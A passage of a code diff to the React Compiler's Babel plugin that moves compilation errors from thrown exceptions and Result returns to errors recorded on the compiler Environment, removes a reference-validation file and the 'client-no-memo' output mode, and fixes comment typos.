   filename: string | null,
   code: string | null,
-): CodegenFunction {
+): Result<CodegenFunction, CompilerError> {
   return run(
     func,
     config,

compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts

@@ -350,9 +350,6 @@ function isFilePartOfSources(
   return false;
 }
 
-export type CompileProgramMetadata = {
-  retryErrors: Array<{fn: BabelFn; error: CompilerError}>;
-};
 /**
  * Main entrypoint for React Compiler.
  *
@@ -363,7 +360,7 @@ export type CompileProgramMetadata = {
 export function compileProgram(
   program: NodePath<t.Program>,
   pass: CompilerPass,
-): CompileProgramMetadata | null {
+): void {
   /**
    * This is directly invoked by the react-compiler babel plugin, so exceptions
    * thrown by this function will fail the babel build.
@@ -376,7 +373,7 @@ export function compileProgram(
    *   the outlined functions.
    */
   if (shouldSkipCompilation(program, pass)) {
-    return null;
+    return;
   }
   const restrictedImportsErr = validateRestrictedImports(
     program,
@@ -384,7 +381,7 @@ export function compileProgram(
   );
   if (restrictedImportsErr) {
     handleError(restrictedImportsErr, pass, null);
-    return null;
+    return;
   }
   /*
    * Record lint errors and critical errors as depending on Forget's config,
@@ -478,15 +475,11 @@ export function compileProgram(
       );
       handleError(error, programContext, null);
     }
-    return null;
+    return;
   }
 
   // Insert React Compiler generated functions into the Babel AST
   applyCompiledFunctions(program, compiledFns, pass, programContext);
-
-  return {
-    retryErrors: programContext.retryErrors,
-  };
 }
 
 type CompileSource = {
@@ -704,20 +697,36 @@ function tryCompileFunction(
   }
 
   try {
-    return {
-      kind: 'compile',
-      compiledFn: compileFn(
-        fn,
-        programContext.opts.environment,
-        fnType,
-        outputMode,
-        programContext,
-        programContext.opts.logger,
-        programContext.filename,
-        programContext.code,
-      ),
-    };
+    const result = compileFn(
+      fn,
+      programContext.opts.environment,
+      fnType,
+      outputMode,
+      programContext,
+      programContext.opts.logger,
+      programContext.filename,
+      programContext.code,
+    );
+    if (result.isOk()) {
+      return {kind: 'compile', compiledFn: result.unwrap()};
+    } else {
+      return {kind: 'error', error: result.unwrapErr()};
+    }
   } catch (err) {
+    /**
+     * A pass incorrectly threw instead of recording the error.
+     * Log for detection in development.
+     */
+    if (
+      err instanceof CompilerError &&
+      err.details.every(detail => detail.category !== ErrorCategory.Invariant)
+    ) {
+      programContext.logEvent({
+        kind: 'CompileUnexpectedThrow',
+        fnLoc: fn.node.loc ?? null,
+        data: err.toString(),
+      });
+    }
     return {kind: 'error', error: err};
   }
 }

compiler/packages/babel-plugin-react-compiler/src/Entrypoint/ValidateNoUntransformedReferences.ts

@@ -1,162 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {NodePath} from '@babel/core';
-import * as t from '@babel/types';
-
-import {CompilerError, EnvironmentConfig, Logger} from '..';
-import {getOrInsertWith} from '../Utils/utils';
-import {GeneratedSource} from '../HIR';
-import {DEFAULT_EXPORT} from '../HIR/Environment';
-import {CompileProgramMetadata} from './Program';
-export default function validateNoUntransformedReferences(
-  path: NodePath<t.Program>,
-  filename: string | null,
-  logger: Logger | null,
-  env: EnvironmentConfig,
-  compileResult: CompileProgramMetadata | null,
-): void {
-  const moduleLoadChecks = new Map<
-    string,
-    Map<string, CheckInvalidReferenceFn>
-  >();
-  if (moduleLoadChecks.size > 0) {
-    transformProgram(path, moduleLoadChecks, filename, logger, compileResult);
-  }
-}
-
-type TraversalState = {
-  shouldInvalidateScopes: boolean;
-  program: NodePath<t.Program>;
-  logger: Logger | null;
-  filename: string | null;
-  transformErrors: Array<{fn: NodePath<t.Node>; error: CompilerError}>;
-};
-type CheckInvalidReferenceFn = (
-  paths: Array<NodePath<t.Node>>,
-  context: TraversalState,
-) => void;
-
-function validateImportSpecifier(
-  specifier: NodePath<t.ImportSpecifier>,
-  importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
-  state: TraversalState,
-): void {
-  const imported = specifier.get('imported');
-  const specifierName: string =
-    imported.node.type === 'Identifier'
-      ? imported.node.name
-      : imported.node.value;
-  const checkFn = importSpecifierChecks.get(specifierName);
-  if (checkFn == null) {
-    return;
-  }
-  if (state.shouldInvalidateScopes) {
-    state.shouldInvalidateScopes = false;
-    state.program.scope.crawl();
-  }
-
-  const local = specifier.get('local');
-  const binding = local.scope.getBinding(local.node.name);
-  CompilerError.invariant(binding != null, {
-    reason: 'Expected binding to be found for import specifier',
-    loc: local.node.loc ?? GeneratedSource,
-  });
-  checkFn(binding.referencePaths, state);
-}
-
-function validateNamespacedImport(
-  specifier: NodePath<t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier>,
-  importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
-  state: TraversalState,
-): void {
-  if (state.shouldInvalidateScopes) {
-    state.shouldInvalidateScopes = false;
-    state.program.scope.crawl();
-  }
-  const local = specifier.get('local');
-  const binding = local.scope.getBinding(local.node.name);
-  const defaultCheckFn = importSpecifierChecks.get(DEFAULT_EXPORT);
-
-  CompilerError.invariant(binding != null, {
-    reason: 'Expected binding to be found for import specifier',
-    loc: local.node.loc ?? GeneratedSource,
-  });
-  const filteredReferences = new Map<
-    CheckInvalidReferenceFn,
-    Array<NodePath<t.Node>>
-  >();
-  for (const reference of binding.referencePaths) {
-    if (defaultCheckFn != null) {
-      getOrInsertWith(filteredReferences, defaultCheckFn, () => []).push(
-        reference,
-      );
-    }
-    const parent = reference.parentPath;
-    if (
-      parent != null &&
-      parent.isMemberExpression() &&
-      parent.get('object') === reference
-    ) {
-      if (parent.node.computed || parent.node.property.type !== 'Identifier') {
-        continue;
-      }
-      const checkFn = importSpecifierChecks.get(parent.node.property.name);
-      if (checkFn != null) {
-        getOrInsertWith(filteredReferences, checkFn, () => []).push(parent);
-      }
-    }
-  }
-
-  for (const [checkFn, references] of filteredReferences) {
-    checkFn(references, state);
-  }
-}
-function transformProgram(
-  path: NodePath<t.Program>,
-
-  moduleLoadChecks: Map<string, Map<string, CheckInvalidReferenceFn>>,
-  filename: string | null,
-  logger: Logger | null,
-  compileResult: CompileProgramMetadata | null,
-): void {
-  const traversalState: TraversalState = {
-    shouldInvalidateScopes: true,
-    program: path,
-    filename,
-    logger,
-    transformErrors: compileResult?.retryErrors ?? [],
-  };
-  path.traverse({
-    ImportDeclaration(path: NodePath<t.ImportDeclaration>) {
-      const importSpecifierChecks = moduleLoadChecks.get(
-        path.node.source.value,
-      );
-      if (importSpecifierChecks == null) {
-        return;
-      }
-      const specifiers = path.get('specifiers');
-      for (const specifier of specifiers) {
-        if (specifier.isImportSpecifier()) {
-          validateImportSpecifier(
-            specifier,
-            importSpecifierChecks,
-            traversalState,
-          );
-        } else {
-          validateNamespacedImport(
-            specifier as NodePath<
-              t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier
-            >,
-            importSpecifierChecks,
-            traversalState,
-          );
-        }
-      }
-    },
-  });
-}

compiler/packages/babel-plugin-react-compiler/src/HIR/CollectOptionalChainDependencies.ts

@@ -310,16 +310,13 @@ function traverseOptionalBlock(
      * - a optional base block with a separate nested optional-chain (e.g. a(c?.d)?.d)
      */
     const testBlock = context.blocks.get(maybeTest.terminal.fallthrough)!;
-    if (testBlock!.terminal.kind !== 'branch') {
-      /**
-       * Fallthrough of the inner optional should be a block with no
-       * instructions, terminating with Test($<temporary written to from
-       * StoreLocal>)
-       */
-      CompilerError.throwTodo({
-        reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for optional fallthrough block`,
-        loc: maybeTest.terminal.loc,
-      });
+    /**
+     * Fallthrough of the inner optional should be a block with no
+     * instructions, terminating with Test($<temporary written to from
+     * StoreLocal>)
+     */
+    if (testBlock.terminal.kind !== 'branch') {
+      return null;
     }
     /**
      * Recurse into inner optional blocks to collect inner optional-chain

compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts

@@ -8,7 +8,12 @@
 import * as t from '@babel/types';
 import {ZodError, z} from 'zod/v4';
 import {fromZodError} from 'zod-validation-error/v4';
-import {CompilerError} from '../CompilerError';
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
 import {CompilerOutputMode, Logger, ProgramContext} from '../Entrypoint';
 import {Err, Ok, Result} from '../Utils/Result';
 import {
@@ -545,6 +550,12 @@ export class Environment {
 
   #flowTypeEnvironment: FlowTypeEnv | null;
 
+  /**
+   * Accumulated compilation errors. Passes record errors here instead of
+   * throwing, so the pipeline can continue and report all errors at once.
+   */
+  #errors: CompilerError = new CompilerError();
+
   constructor(
     scope: BabelScope,
     fnType: ReactFunctionType,
@@ -629,9 +640,6 @@ export class Environment {
       case 'ssr': {
         return true;
       }
-      case 'client-no-memo': {
-        return false;
-      }
       default: {
         assertExhaustive(
           this.outputMode,
@@ -648,8 +656,7 @@ export class Environment {
         // linting also enables memoization so that we can check if manual memoization is preserved
         return true;
       }
-      case 'ssr':
-      case 'client-no-memo': {
+      case 'ssr': {
         return false;
       }
       default: {
@@ -668,9 +675,6 @@ export class Environment {
       case 'ssr': {
         return true;
       }
-      case 'client-no-memo': {
-        return false;
-      }
       default: {
         assertExhaustive(
           this.outputMode,
@@ -709,6 +713,52 @@ export class Environment {
     }
   }
 
+  /**
+   * Record a single diagnostic or error detail on this environment.
+   * If the error is an Invariant, it is immediately thrown since invariants
+   * represent internal bugs that cannot be recovered from.
+   * Otherwise, the error is accumulated and optionally logged.
+   */
+  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
+    if (error.category === ErrorCategory.Invariant) {
+      const compilerError = new CompilerError();
+      if (error instanceof CompilerDiagnostic) {
+        compilerError.pushDiagnostic(error);
+      } else {
+        compilerError.pushErrorDetail(error);
+      }
+      throw compilerError;
+    }
+    if (error instanceof CompilerDiagnostic) {
+      this.#errors.pushDiagnostic(error);
+    } else {
+      this.#errors.pushErrorDetail(error);
+    }
+  }
+
+  /**
+   * Record all diagnostics from a CompilerError onto this environment.
+   */
+  recordErrors(error: CompilerError): void {
+    for (const detail of error.details) {
+      this.recordError(detail);
+    }
+  }
+
+  /**
+   * Returns true if any errors have been recorded during compilation.
+   */
+  hasErrors(): boolean {
+    return this.#errors.hasAnyErrors();
+  }
+
+  /**
+   * Returns the accumulated CompilerError containing all recorded diagnostics.
+   */
+  aggregateErrors(): CompilerError {
+    return this.#errors;
+  }
+
   isContextIdentifier(node: t.Identifier): boolean {
     return this.#contextIdentifiers.has(node);
   }

compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts

@@ -826,6 +826,7 @@ export type StartMemoize = {
    * emitting diagnostics with a suggested replacement
    */
   depsLoc: SourceLocation | null;
+  hasInvalidDeps?: true;
   loc: SourceLocation;
 };
 export type FinishMemoize = {

compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts

@@ -7,7 +7,12 @@
 
 import {Binding, NodePath} from '@babel/traverse';
 import * as t from '@babel/types';
-import {CompilerError, ErrorCategory} from '../CompilerError';
+import {
+  CompilerError,
+  CompilerDiagnostic,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
 import {Environment} from './Environment';
 import {
   BasicBlock,
@@ -110,7 +115,6 @@ export default class HIRBuilder {
   #bindings: Bindings;
   #env: Environment;
   #exceptionHandlerStack: Array<BlockId> = [];
-  errors: CompilerError = new CompilerError();
   /**
    * Traversal context: counts the number of `fbt` tag parents
    * of the current babel node.
@@ -148,6 +152,10 @@ export default class HIRBuilder {
     this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
   }
 
+  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
+    this.#env.recordError(error);
+  }
+
   currentBlockKind(): BlockKind {
     return this.#current.kind;
   }
@@ -308,34 +316,28 @@ export default class HIRBuilder {
 
   resolveBinding(node: t.Identifier): Identifier {
     if (node.name === 'fbt') {
-      CompilerError.throwDiagnostic({
-        category: ErrorCategory.Todo,
-        reason: 'Support local variables named `fbt`',
-        description:
-          'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
-        details: [
-          {
-            kind: 'error',
-            message: 'Rename to avoid conflict with fbt plugin',
-            loc: node.loc ?? GeneratedSource,
-          },
-        ],
-      });
+      this.recordError(
+        new CompilerErrorDetail({
+          category: ErrorCategory.Todo,
+          reason: 'Support local variables named `fbt`',
+          description:
+            'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
+          loc: node.loc ?? GeneratedSource,
+          suggestions: null,
+        }),
+      );
     }
     if (node.name === 'this') {
-      CompilerError.throwDiagnostic({
-        category: ErrorCategory.UnsupportedSyntax,
-        reason: '`this` is not supported syntax',
-        description:
-          'React Compiler does not support compiling functions that use `this`',
-        details: [
-          {
-            kind: 'error',
-            message: '`this` was used here',
-            loc: node.loc ?? GeneratedSource,
-          },
-        ],
-      });
+      this.recordError(
+        new CompilerErrorDetail({
+          category: ErrorCategory.UnsupportedSyntax,
+          reason: '`this` is not supported syntax',
+          description:
+            'React Compiler does not support compiling functions that use `this`',
+          loc: node.loc ?? GeneratedSource,
+          suggestions: null,
+        }),
+      );
     }
     const originalName = node.name;
     let name = originalName;
@@ -381,12 +383,15 @@ export default class HIRBuilder {
           instr => instr.value.kind === 'FunctionExpression',
         )
       ) {
-        CompilerError.throwTodo({
-          reason: `Support functions with unreachable code that may contain hoisted declarations`,
-          loc: block.instructions[0]?.loc ?? block.terminal.loc,
-          description: null,
-          suggestions: null,
-        });
+        this.recordError(
+          new CompilerErrorDetail({
+            reason: `Support functions with unreachable code that may contain hoisted declarations`,
+            loc: block.instructions[0]?.loc ?? block.terminal.loc,
+            description: null,
+            suggestions: null,
+            category: ErrorCategory.Todo,
+          }),
+        );
       }
     }
     ir.blocks = rpoBlocks;

compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts

@@ -54,7 +54,7 @@ function lowerWithMutationAliasing(fn: HIRFunction): void {
   deadCodeElimination(fn);
   const functionEffects = inferMutationAliasingRanges(fn, {
     isFunctionExpression: true,
-  }).unwrap();
+  });
   rewriteInstructionKindsBasedOnReassignment(fn);
   inferReactiveScopeVariables(fn);
   fn.aliasingEffects = functionEffects;

compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts

@@ -31,7 +31,6 @@ import {
   makeInstructionId,
 } from '../HIR';
 import {createTemporaryPlace, markInstructionIds} from '../HIR/HIRBuilder';
-import {Result} from '../Utils/Result';
 
 type ManualMemoCallee = {
   kind: 'useMemo' | 'useCallback';
@@ -294,7 +293,7 @@ function extractManualMemoizationArgs(
   instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
   kind: 'useCallback' | 'useMemo',
   sidemap: IdentifierSidemap,
-  errors: CompilerError,
+  env: Environment,
 ): {
   fnPlace: Place;
   depsList: Array<ManualMemoDependency> | null;
@@ -304,7 +303,7 @@ function extractManualMemoizationArgs(
     Place | SpreadPattern | undefined
   >;
   if (fnPlace == null || fnPlace.kind !== 'Identifier') {
-    errors.pushDiagnostic(
+    env.recordError(
       CompilerDiagnostic.create({
         category: ErrorCategory.UseMemo,
         reason: `Expected a callback function to be passed to ${kind}`,
@@ -336,7 +335,7 @@ function extractManualMemoizationArgs(
       ? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
       : null;
   if (maybeDepsList == null) {
-    errors.pushDiagnostic(
+    env.recordError(
       CompilerDiagnostic.create({
         category: ErrorCategory.UseMemo,
         reason: `Expected the dependency list for ${kind} to be an array literal`,
@@ -355,7 +354,7 @@ function extractManualMemoizationArgs(
   for (const dep of maybeDepsList.deps) {
     const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
     if (maybeDep == null) {
-      errors.pushDiagnostic(
+      env.recordError(
         CompilerDiagnostic.create({
           category: ErrorCategory.UseMemo,
           reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
@@ -389,10 +388,7 @@ function extractManualMemoizationArgs(
  * This pass also validates that useMemo callbacks return a value (not void), ensuring that useMemo
  * is only used for memoizing values and not for running arbitrary side effects.
  */
-export function dropManualMemoization(
-  func: HIRFunction,
-): Result<void, CompilerError> {
-  const errors = new CompilerError();
+export function dropManualMemoization(func: HIRFunction): void {
   const isValidationEnabled =
     func.env.config.validatePreserveExistingMemoizationGuarantees ||
     func.env.config.validateNoSetStateInRender ||
@@ -439,7 +435,7 @@ export function dropManualMemoization(
             instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
             manualMemo.kind,
             sidemap,
-            errors,
+            func.env,
           );
 
           if (memoDetails == null) {
@@ -467,7 +463,7 @@ export function dropManualMemoization(
              * is rare and likely sketchy.
              */
             if (!sidemap.functions.has(fnPlace.identifier.id)) {
-              errors.pushDiagnostic(
+              func.env.recordError(
                 CompilerDiagnostic.create({
                   category: ErrorCategory.UseMemo,
                   reason: `Expected the first argument to be an inline function expression`,
@@ -552,8 +548,6 @@ export function dropManualMemoization(
       markInstructionIds(func.body);
     }
   }
-
-  return errors.asResult();
 }
 
 function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {

compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingEffects.ts

@@ -45,7 +45,7 @@ import {
   eachTerminalOperand,
   eachTerminalSuccessor,
 } from '../HIR/visitors';
-import {Ok, Result} from '../Utils/Result';
+
 import {
   assertExhaustive,
   getOrInsertDefault,
@@ -100,7 +100,7 @@ export function inferMutationAliasingEffects(
   {isFunctionExpression}: {isFunctionExpression: boolean} = {
     isFunctionExpression: false,
   },
-): Result<void, CompilerError> {
+): void {
   const initialState = InferenceState.empty(fn.env, isFunctionExpression);
 
   // Map of blocks to the last (merged) incoming state that was processed
@@ -220,7 +220,7 @@ export function inferMutationAliasingEffects(
       }
     }
   }
-  return Ok(undefined);
+  return;
 }
 
 function findHoistedContextDeclarations(
@@ -513,7 +513,7 @@ function inferBlock(
     if (handlerParam != null) {
       CompilerError.invariant(state.kind(handlerParam) != null, {
         reason:
-          'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
+          'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
         loc: terminal.loc,
       });
       const effects: Array<AliasingEffect> = [];
@@ -1315,7 +1315,7 @@ class InferenceState {
   #values: Map<InstructionValue, AbstractValue>;
   /*
    * The set of values pointed to by each identifier. This is a set
-   * to accomodate phi points (where a variable may have different
+   * to accommodate phi points (where a variable may have different
    * values from different control flow paths).
    */
   #variables: Map<IdentifierId, Set<InstructionValue>>;

compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingRanges.ts

@@ -20,13 +20,14 @@ import {
   Place,
   isPrimitiveType,
 } from '../HIR/HIR';
+import {Environment} from '../HIR/Environment';
 import {
   eachInstructionLValue,
   eachInstructionValueOperand,
   eachTerminalOperand,
 } from '../HIR/visitors';
 import {assertExhaustive, getOrInsertWith} from '../Utils/utils';
-import {Err, Ok, Result} from '../Utils/Result';
+
 import {AliasingEffect, MutationReason} from './AliasingEffects';
 
 /**
@@ -74,7 +75,7 @@ import {AliasingEffect, MutationReason} from './AliasingEffects';
 export function inferMutationAliasingRanges(
   fn: HIRFunction,
   {isFunctionExpression}: {isFunctionExpression: boolean},
-): Result<Array<AliasingEffect>, CompilerError> {
+): Array<AliasingEffect> {
   // The set of externally-visible effects
   const functionEffects: Array<AliasingEffect> = [];
 
@@ -107,7 +108,7 @@ export function inferMutationAliasingRanges(
 
   let index = 0;
 
-  const errors = new CompilerError();
+  const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
 
   for (const param of [...fn.params, ...fn.context, fn.returns]) {
     const place = param.kind === 'Identifier' ? param : param.place;
@@ -200,7 +201,9 @@ export function inferMutationAliasingRanges(
           effect.kind === 'MutateGlobal' ||
           effect.kind === 'Impure'
         ) {
-          errors.pushDiagnostic(effect.error);
+          if (shouldRecordErrors) {
+            fn.env.recordError(effect.error);
+          }
           functionEffects.push(effect);
         } else if (effect.kind === 'Render') {
           renders.push({index: index++, place: effect.place});
@@ -245,11 +248,15 @@ export function inferMutationAliasingRanges(
       mutation.kind,
       mutation.place.loc,
       mutation.reason,
-      errors,
+      shouldRecordErrors ? fn.env : null,
     );
   }
   for (const render of renders) {
-    state.render(render.index, render.place.identifier, errors);
+    state.render(
+      render.index,
+      render.place.identifier,
+      shouldRecordErrors ? fn.env : null,
+    );
   }
   for (const param of [...fn.context, ...fn.params]) {
     const place = param.kind === 'Identifier' ? param : param.place;
@@ -498,7 +505,6 @@ export function inferMutationAliasingRanges(
    * would be transitively mutated needs a capture relationship.
    */
   const tracked: Array<Place> = [];
-  const ignoredErrors = new CompilerError();
   for (const param of [...fn.params, ...fn.context, fn.returns]) {
     const place = param.kind === 'Identifier' ? param : param.place;
     tracked.push(place);
@@ -513,7 +519,7 @@ export function inferMutationAliasingRanges(
       MutationKind.Conditional,
       into.loc,
       null,
-      ignoredErrors,
+      null,
     );
     for (const from of tracked) {
       if (
@@ -547,19 +553,17 @@ export function inferMutationAliasingRanges(
     }
   }
 
-  if (errors.hasAnyErrors() && !isFunctionExpression) {
-    return Err(errors);
-  }
-  return Ok(functionEffects);
+  return functionEffects;
 }
 
-function appendFunctionErrors(errors: CompilerError, fn: HIRFunction): void {
+function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
+  if (env == null) return;
   for (const effect of fn.aliasingEffects ?? []) {
     switch (effect.kind) {
       case 'Impure':
       case 'MutateFrozen':
       case 'MutateGlobal': {
-        errors.pushDiagnostic(effect.error);
+        env.recordError(effect.error);
         break;
       }
     }
@@ -660,7 +664,7 @@ class AliasingState {
     }
   }
 
-  render(index: number, start: Identifier, errors: CompilerError): void {
+  render(index: number, start: Identifier, env: Environment | null): void {
     const seen = new Set<Identifier>();
     const queue: Array<Identifier> = [start];
     while (queue.length !== 0) {
@@ -674,7 +678,7 @@ class AliasingState {
         continue;
       }
       if (node.value.kind === 'Function') {
-        appendFunctionErrors(errors, node.value.function);
+        appendFunctionErrors(env, node.value.function);
       }
       for (const [alias, when] of node.createdFrom) {
         if (when >= index) {
@@ -706,7 +710,7 @@ class AliasingState {
     startKind: MutationKind,
     loc: SourceLocation,
     reason: MutationReason | null,
-    errors: CompilerError,
+    env: Environment | null,
   ): void {
     const seen = new Map<Identifier, MutationKind>();
     const queue: Array<{
@@ -738,7 +742,7 @@ class AliasingState {
         node.transitive == null &&
         node.local == null
       ) {
-        appendFunctionErrors(errors, node.value.function);
+        appendFunctionErrors(env, node.value.function);
       }
       if (transitive) {
         if (node.transitive == null || node.transitive.kind < kind) {

compiler/packages/babel-plugin-react-compiler/src/Inference/MUTABILITY_ALIASING_MODEL.md

@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
 
 In code, the mutability and aliasing model is compromised of the following phases:
 
-* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
+* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
 * `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
 * `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
 
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
     kind: 'Apply';
     receiver: Place;
     function: Place; // same as receiver for function calls
-    mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
+    mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
     args: Array<Place | SpreadPattern | Hole>;
     into: Place; // where result is stored
     signature: FunctionSignature | null;
@@ -526,7 +526,7 @@ Capture c <- a
 
 Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
 
-Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
+Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
 
 ```js
 const b = [a]; // capture

compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts

@@ -1007,11 +1007,10 @@ class Driver {
     const test = this.visitValueBlock(testBlockId, loc);
     const testBlock = this.cx.ir.blocks.get(test.block)!;
     if (testBlock.terminal.kind !== 'branch') {
-      CompilerError.throwTodo({
-        reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for ${terminalKind} test block`,
-        description: null,
+      CompilerError.invariant(false, {
+        reason: `Expected a branch terminal for ${terminalKind} test block`,
+        description: `Got \`${testBlock.terminal.kind}\``,
         loc: testBlock.terminal.loc,
-        suggestions: null,
       });
     }
     return {

compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts

@@ -13,7 +13,11 @@ import {
   pruneUnusedLabels,
   renameVariables,
 } from '.';
-import {CompilerError, ErrorCategory} from '../CompilerError';
+import {
+  CompilerError,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
 import {Environment, ExternalFunction} from '../HIR';
 import {
   ArrayPattern,
@@ -46,7 +50,7 @@ import {
 } from '../HIR/HIR';
 import {printIdentifier, printInstruction, printPlace} from '../HIR/PrintHIR';
 import {eachPatternOperand} from '../HIR/visitors';
-import {Err, Ok, Result} from '../Utils/Result';
+
 import {GuardKind} from '../Utils/RuntimeDiagnosticConstants';
 import {assertExhaustive} from '../Utils/utils';
 import {buildReactiveFunction} from './BuildReactiveFunction';
@@ -111,7 +115,7 @@ export function codegenFunction(
     uniqueIdentifiers: Set<string>;
     fbtOperands: Set<IdentifierId>;
   },
-): Result<CodegenFunction, CompilerError> {
+): CodegenFunction {
   const cx = new Context(
     fn.env,
     fn.id ?? '[[ anonymous ]]',
@@ -141,11 +145,7 @@ export function codegenFunction(
     };
   }
 
-  const compileResult = codegenReactiveFunction(cx, fn);
-  if (compileResult.isErr()) {
-    return compileResult;
-  }
-  const compiled = compileResult.unwrap();
+  const compiled = codegenReactiveFunction(cx, fn);
 
   const hookGuard = fn.env.config.enableEmitHookGuards;
   if (hookGuard != null && fn.env.outputMode === 'client') {
@@ -273,7 +273,7 @@ export function codegenFunction(
         emitInstrumentForget.globalGating,
       );
       if (assertResult.isErr()) {
-        return assertResult;
+        fn.env.recordErrors(assertResult.unwrapErr());
       }
     }
 
@@ -323,20 +323,17 @@ export function codegenFunction(
       ),
       reactiveFunction,
     );
-    if (codegen.isErr()) {
-      return codegen;
-    }
-    outlined.push({fn: codegen.unwrap(), type});
+    outlined.push({fn: codegen, type});
   }
   compiled.outlined = outlined;
 
-  return compileResult;
+  return compiled;
 }
 
 function codegenReactiveFunction(
   cx: Context,
   fn: ReactiveFunction,
-): Result<CodegenFunction, CompilerError> {
+): CodegenFunction {
   for (const param of fn.params) {
     const place = param.kind === 'Identifier' ? param : param.place;
     cx.temp.set(place.identifier.declarationId, null);
@@ -354,14 +351,10 @@ function codegenReactiveFunction(
     }
   }
 
-  if (cx.errors.hasAnyErrors()) {
-    return Err(cx.errors);
-  }
-
   const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);
   visitReactiveFunction(fn, countMemoBlockVisitor, undefined);
 
-  return Ok({
+  return {
     type: 'CodegenFunction',
     loc: fn.loc,
     id: fn.id !== null ? t.identifier(fn.id) : null,
@@ -376,7 +369,7 @@ function codegenReactiveFunction(
     prunedMemoBlocks: countMemoBlockVisitor.prunedMemoBlocks,
     prunedMemoValues: countMemoBlockVisitor.prunedMemoValues,
     outlined: [],
-  });
+  };
 }
 
 class CountMemoBlockVisitor extends ReactiveFunctionVisitor<void> {
@@ -427,7 +420,6 @@ class Context {
    */
   #declarations: Set<DeclarationId> = new Set();
   temp: Temporaries;
-  errors: CompilerError = new CompilerError();
   objectMethods: Map<IdentifierId, ObjectMethod> = new Map();
   uniqueIdentifiers: Set<string>;
   fbtOperands: Set<IdentifierId>;
@@ -446,6 +438,11 @@ class Context {
     this.fbtOperands = fbtOperands;
     this.temp = temporaries !== null ? new Map(temporaries) : new Map();
   }
+
+  recordError(error: CompilerErrorDetail): void {
+    this.env.recordError(error);
+  }
+
   get nextCacheIndex(): number {
     return this.#nextCacheIndex++;
   }
@@ -782,12 +779,15 @@ function codegenTerminal(
         loc: terminal.init.loc,
       });
       if (terminal.init.instructions.length !== 2) {
-        CompilerError.throwTodo({
-          reason: 'Support non-trivial for..in inits',
-          description: null,
-          loc: terminal.init.loc,
-          suggestions: null,
-        });
+        cx.recordError(
+          new CompilerErrorDetail({
+            reason: 'Support non-trivial for..in inits',
+            category: ErrorCategory.Todo,
+            loc: terminal.init.loc,
+            suggestions: null,
+          }),
+        );
+        return t.emptyStatement();
       }
       const iterableCollection = terminal.init.instructions[0];
       const iterableItem = terminal.init.instructions[1];
@@ -802,12 +802,15 @@ function codegenTerminal(
           break;
         }
         case 'StoreContext': {
-          CompilerError.throwTodo({
-            reason: 'Support non-trivial for..in inits',
-            description: null,
-            loc: terminal.init.loc,
-            suggestions: null,
-          });
+          cx.recordError(
+            new CompilerErrorDetail({
+              reason: 'Support non-trivial for..in inits',
+              category: ErrorCategory.Todo,
+              loc: terminal.init.loc,
+              suggestions: null,
+            }),
+          );
+          return t.emptyStatement();
         }
         default:
           CompilerError.invariant(false, {
